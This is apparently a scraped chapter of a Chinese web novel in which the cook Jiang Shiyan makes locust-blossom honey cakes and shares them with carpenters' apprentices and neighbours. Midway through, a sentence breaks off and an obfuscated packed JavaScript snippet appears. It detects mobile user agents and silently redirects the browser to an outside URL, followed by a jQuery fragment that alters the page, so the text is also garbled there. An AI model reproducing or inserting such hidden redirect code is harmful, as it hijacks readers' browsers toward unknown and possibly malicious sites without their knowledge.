敲门的正好是张叔那三个学徒,他们手上正拿着他需要的模具。
江时晏赶忙将他们招呼入座:“站外面做什么?快进来!”
若是寻常人找张叔定制,少说也得三两天,多则也得五七天。
得亏江时晏给钱大方,从不拖欠钱款。张叔定制自然是用心,但凡死角转弯处,肯定是精细打磨抛光的。
江时晏伸手拿起其中一个,随意观摩着,还伸手抚摸转角处,见那里曲线流畅,打磨平滑,很是满意:“不愧是张叔,工艺可真好!”
“那是,”一学徒将手放在后脑勺,嘿嘿笑着,“叔手艺好,从来不苛待我们这帮徒弟的。还有晏老板,也大方。”
那人余光瞥见餐桌上有没见过的吃食,又看着江时晏在碗中加入温水,将糯米粉调成稀糊,同时还往里面加糖和槐花碎。
三人一看他在做新吃食,好奇问道:“晏老板这是在做……糕点吗?晏老板放心,我们肯定不会将您的配方透露给任何人。”
江时晏也不介意自己的配方被人瞧见,如同往常一般,平和地道:“是啊,天气热了,总得吃得清爽些。”
“嘿嘿,那我们就有口福咯!”
“笨蛋,走之前记得要给叔带一份!”
另一学徒看见那个贪吃鬼,实在是没眼看,干脆直接往那人后脑勺拍了一掌,只听那人的痛呼声,还有那个贪吃鬼捱打后的痛呼声。
江时晏看着三人嬉笑怒骂,暗自摇头,径自清洗着模具。
他只知道食品安全就是卖吃食最好的口碑,食物空有好看的外表,内里却不得行的话,客人也不买账。
他又从厨房内拿一刷子和一小碟食用油,往模具那儿均匀地刷油。
三人随后收敛了些,看着晏老板忙活着刷油,这活儿看上去也简单,主动抢过旁边的刷子,道:“晏老板,哥几个肯定不能吃您白食。正好看着您这活儿哥几个也能帮得上。”
说着,那人也学着他的模样,往那模具里面刷油来了。
那人虽然对做吃食一窍不通,但也知道糕点放在这模具里面蒸熟后肯定要脱模的,特意在转弯处多刷几次。
江时晏实在是劝不动,又见其他人跑到恭叔那儿帮忙拿了好多糯米粉来。只好道:“这些先放着,手上调好的也够做好多了。”
张叔在一个模具刻制了十二个槐花样式,更何况模具还有三个。
他手上这些稀糊,都可以做六次了。
已经有一个模具刷好了,江时晏小心地将稀糊倒入模具。
他特意留一点不倒满,就怕万一放在蒸笼上蒸的时候把形给蒸乱了。
恭叔正好把推车推来,江时晏瞧见蒸笼早已预热,便小心地将模具放入其中,随后离开餐桌。
临行前,江时晏特意提醒恭叔,蒸笼内的糕点大约蒸上一刻钟即可,不能蒸太久。
良久,他手中拿着一小碟椴树蜜来,碟中还放着一个小勺子。还没等他放在餐桌上,众人渐渐被这甜香勾住了魂。
“晏老板,你手上这个也太好闻了吧?”还是那个贪吃的学徒,一闻到香味实在是走不动道,“而且这怎么还带着一股花香。”
江时晏自己也不知道这个蜜的味道,也不过是按照系统提示,把辅料备齐而已。
他又帮着恭叔调整中火,蒸笼内的热气顺着盖边袅袅升起。蒸笼内垫着浸过水的纱布,模具放在纱布上,糕点顺着模具的空隙渐渐膨大,糕点上裹着零星的槐花碎。
蒸笼内的水渐渐沸腾,周边缝隙的白雾宛若朦胧窗纱,糯米的清香顺着白雾飘洒,原本还是稀糊的糕点渐渐吸收水汽而变得饱满。
“好香!”
“嗯。”晏老板低声道,“放凉了就能吃了。”
“要很久吗?”
江时晏知道,虽然好饭不怕晚,但让吃货等太久也确实是煎熬,只能道:“要等上一会儿,糕点放凉了才好吃。”
“好吧……”
那人只好作罢。
学徒帮着江时晏把蒸笼中的模具取出,从底部脱模也没有将糕点弄坏,而且摆出来到糕点形态也好。
真是看着都觉得满意。
在等糕点变温凉的间隙,他又将多余的糯米粉装在陶罐内。余光间还看见有人小心地伸手触碰那精美的糯白糕点,然后还被烫地缩回手。
他还听到,其他人在院落内的咯咯笑声……
“等一下啊,最后把椴树蜜淋上去就能吃了。”
江时晏被这贪吃鬼弄得实在是没办法,干脆让恭叔多拿几个食盒来。自己小心地用勺子匀上一点椴树蜜,然后轻轻往槐花糕上淋成一条细线。
槐花蜜糕,大功告成咯!
所有人都没想到,这糕点居然还能这么讲究。
尤其是恭叔,镇上的糕点铺他都见多了。还真是没见过像江时晏这般,将糕点整齐地叠在盘中。
微微显现的黄色正好点缀那糯白的糕点,江时晏顺手撒上些槐花碎。
你如果跟他说,这是长公主府上的糕点,他都信了。
“这……”
这也太好看了!
他们都舍不得吃了!
“还是晏老板厉害。这才没多久,就做出新的吃食了。这我都舍不得吃了!”
“不过要是把这东西带给老婆孩子,那我肯定会多一点零花钱,嘿嘿!”
江时晏看着那学徒着急伸手拿起一个往嘴里塞,还没等旁人问味道如何,那学徒脸上洋溢的满足已经说明了一切。
其他人顺势也拿了一个尝尝,都是对他的手艺一致好评。
“阿晏,你怎么不吃啊?”恭叔看着江时晏往食盒内装糕点,都没吃上一个,“你要是不吃的话,得被他们仨吃完咯!”
江时晏看着恭叔伸手,赶忙将食盒举高高,道:“知道他们会吃,特意给他们装上几个带回去。要不然回去也不好交差。”
恭叔一看这帮小鬼只知道吃,笑骂道:“你们这些个兔崽子,还得是阿晏替你们考虑,吃完了空手而归,家里人又得怪你们咯!”
恭叔三言两语,就震慑住了这帮贪吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858030|172364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鬼。
“叔……那该怎么办啊?”其中一学徒就差被吓哭了,“我……我也没吃多少。”
他还没说完,却被另一个人直接反驳:“你还没吃多少?这一盘十二个,就数你吃的最多!你还好意思说呢!人晏老板都还没吃多少。”
江时晏怕他们又得争执,连忙把他们拉开:“好了好了,我蒸的多,会有的吃的,不过这糕点确实要少吃。你们要是再吃的话,晚饭怕是要吃不下。”
“哦……”那人小声嘀咕。
江时晏又拿着三个食盒,食盒内都装上了四个槐花蜜糕:“食盒内都装了四个,你们家里人多的,我再给你们多装几个。至少让你们家里人一人都尝上一个。”
三人不安地接过食盒,唯恐晏老板中途收回,只听他继续道:“放心吧,就是你们的。上次留得不多,你们应该还没来得及带给家里人尝尝。”
三学徒也不是没在镇上做工过,虽然镇上的老板工资开得会高些,但那些个黑心老板恨不得他们村里来的多干活,少吃点。有的甚至还不包一餐。
稍有不慎,就得挨骂。
“晏老板……这您自己要拿去卖的,不用给我们留的……我们到时候花点钱卖就是了……”
最贪吃的那位学徒小声嘀咕着,却被恭叔打断:“那不行,你们怎么说也是老张的徒弟,恭叔我不至于连个吃食都给不起。再说,阿晏在镇上的生意太好,你们应该很难买到吧?”
这倒是。
不过那学徒还是问道:“晏老板是真的不卖清明饼了吗?我还没买到呢!”
“对。”江时晏道,“不卖了,后天再去镇上卖这个。”
“好吧。”
江时晏又拿出一个装满糕点的食盒,道:“这份你们帮我带给恭叔,就说是我做多了。”
“哦,好。”仨学徒听话照做,随后离开了。
忙活了好久,他也吃上几个。一向不太喜欢吃甜食的他,也会因为系统给的配方而改变了“不吃甜食”的想法。
吃饱喝足后,两人正好也不打算吃晚饭了,干脆一起分装好食盒,给李婶和麻婶送去。
李婶家。
开门的是田茂,他一看到江时晏手中的食盒,连忙将两人拉进屋坐下,问道:“这是你做的槐花蜜糕?”
“你怎么知道?”江时晏并没有和他说过。
田茂大掌重重拍了拍他的肩头,道:“张叔家那仨学徒,其中一个是我好兄弟。”
他这么说,江时晏立刻明白了。拿出一个食盒,道:“阿晏今天得空,不巧做得多了些,大哥不妨尝尝看?”
“好。”田茂也不扭捏,直接打开食盒,糕点香扑面而来,肯定是蒸熟没多久。
江时晏看着田茂去厨房拿筷子,面带歉意道:“是阿晏准备不周了,下次得去张叔那儿做竹签了。”
“害,这有啥。我倒是不介意,不过竹签做出来也要时间吧?”田茂问着,直接往嘴里丢了一块糕点。
哎?
居然还有不干噎的糕点啊!